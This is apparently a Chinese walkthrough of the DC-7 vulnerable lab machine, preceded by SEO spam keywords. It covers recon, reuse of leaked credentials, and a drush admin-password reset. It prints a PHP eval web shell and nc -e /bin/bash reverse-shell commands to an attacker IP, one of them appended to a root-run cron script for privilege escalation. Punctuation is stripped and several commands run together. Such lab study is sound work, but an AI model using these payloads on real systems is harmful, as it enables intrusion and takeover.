西安做网站排名,千网推软文推广平台,顺德网站建设报价,电子商务网站建设ppt1. 信息查询
1.1. 查看ip
arp-scan -l 192.168.220.136
1.2. 端口
nmap -T4 -A -p- 192.168.220.136 访问端口号 2. 渗透阶段
2.1. 通过DCUSER 获取账号密码
然后在当前的页面中可以发现DCUSER#xff0c;不知道是什么#xff0c;扔到谷歌进行查询#xff0c;发现…1. 信息查询
1.1. 查看ip
arp-scan -l 192.168.220.136
1.2. 端口
nmap -T4 -A -p- 192.168.220.136 访问端口号 2. 渗透阶段
2.1. 通过DCUSER 获取账号密码
然后在当前的页面中可以发现DCUSER不知道是什么扔到谷歌进行查询发现原来是 github 上的一位博主名字 发现了有源码信息的泄露 dc7user
MdR3xOgB7#dW
2.2. 远程连接获取 backups.sh
远程连接当前用户
ssh dc7user192.168.220.136 通过查看 home 目录下的文件发现了 mbox查看文件内容以后发现是一封邮件在邮件中可以看到如果想要提权可以使用 backups.sh
ls -lcat mbox 查看文件内容
cat /opt/scripts/backups.shls -l /opt/scripts/backups.sh 2.3. drush 介绍
发现当前想要提权需要为 www-data 用户组才可以在脚本中发现了 drush百度查一下发现原来是个大宝贝
Drush 是一个很棒的 shell 界面用于直接从您的云服务器命令行管理 Drupal。这是一个非常有用的工具因为它可以帮助您在终端中仅使用一两个命令来执行各种管理任务而无需在 UI 中进行多次点击和页面刷新。
您是否在您的站点上处理许多用户帐户 Drush 可以帮助轻松管理它。
您可以使用以下命令创建新用户
drush user-create username --mailemailexample.com --passwordpassword
然后终端将显示有关新创建的用户的一些信息。想删除这个用户使用以下命令
drush user-cancel username
就这么简单。想更改密码或与此相关的任何其他用户密码运行以下命令
drush user-password admin --passwordnew_pass
那现在我们就可以直接使用这个工具来修改 admin 的密码
drush user-password admin --passwordadmin 注意:需要在/var/www/html 目录下进行密码的修改
2.4. 一句话木马
接下来进行登录 编辑页面可以发现当前有一个可输入的富文本框可以尝试去写入一句话木马但是又发现当前的富文本不支持 php 环境此时需要查看平台是否能安装 php 环境 这样php环境就安装好了 在勾选一下选项 Ok了 传入一句话木马
?php eval($_POST[123])?
这里注意要先选择php再编写一句话木马 直接进入首页发现 一句话木马已经执行接下来就可以使用蚁剑进行连接 2.5. 蚁剑连接反弹shell(进入 www-data 用户) 进入蚁剑的命令行终端
kali中nc -lvvp 4444python -c import pty;pty.spawn(/bin/bash)蚁剑nc -e /bin/bash 192.168.126.138 4444 192.168.220.146 2.6. 反弹 shell 获取 root 权限
因为当前已经是 www-data 的用户了接下来就可以去执行/opt/scripts/backups.sh 这个脚本执行这个脚本最终我们想要让他通过反弹提权到 root所以需要将反弹的代码追加到脚本中
echo nc -e /bin/bash 192.168.220.146 7777 /opt/scripts/backups.shcat /opt/scripts/backups.sh 接下来在 kali 中设置监听
nc -lvp 7777
